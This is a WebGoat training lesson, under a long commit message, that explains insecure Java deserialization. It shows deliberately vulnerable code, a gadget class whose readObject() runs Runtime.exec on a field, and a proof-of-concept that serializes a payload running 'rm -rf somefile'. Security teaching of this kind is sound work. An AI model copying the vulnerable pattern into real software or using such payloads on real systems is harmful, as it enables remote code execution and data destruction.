Files
WebGoat/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_SimpleExploit.adoc
Nanne Baars 711649924b Refactoring (#1201)
* Some initial refactoring

* Make it one application

* Got it working

* Fix problem on Windows

* Move WebWolf

* Move first lesson

* Moved all lessons

* Fix pom.xml

* Fix tests

* Add option to initialize a lesson

This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens

* Clean up pom.xml files

* Remove fetching labels based on language.

We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages

* Fix SonarLint issues

* And move it all to the main project

* Fix for documentation paths

* Fix pom warnings

* Remove PMD as it does not work

* Update release notes about refactoring

Update release notes about refactoring

Update release notes about refactoring

* Fix lesson template

* Update release notes

* Keep it in the same repo in Dockerhub

* Update documentation to show how the connection is obtained.

Resolves: #1180

* Rename all integration tests

* Remove command from Dockerfile

* Simplify GitHub actions

Currently, we use a separate actions for pull-requests and branch build.
This is now consolidated in one action.
The PR action triggers always, it now only trigger when the PR is
opened and not in draft.
Running all platforms on a branch build is a bit too much, it is better
 to only run all platforms when someone opens a PR.

* Remove duplicate entry from release notes

* Add explicit registry for base image

* Lesson scanner not working when fat jar

When running the fat jar we have to take into account we
are reading from the jar file and not the filesystem. In
this case you cannot use `getFile` for example.

* added info in README and fixed release docker

* changed base image and added ignore file

Co-authored-by: Zubcevic.com <rene@zubcevic.com>
2022-04-09 14:56:12 +02:00

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== The Simplest Exploit
=== Vulnerable code
The following is a well-known example for a Java Deserialization vulnerability.
[source,java]
----
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)ois.readObject();
----
It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting ocurs.
If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to perform those actions.
=== Class included in ClassPath
Attackers need to find a class in the classpath that supports serialization and with dangerous implementations on `readObject()`.
[source,java]
----
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 1;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
stream.defaultReadObject();
//blindly run some code. #code injection
Runtime.getRuntime().exec(taskAction);
}
}
----
=== Exploit
If the java class shown above exists, attackers can serialize that object and obtain Remote Code Execution.
[source,java]
----
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
----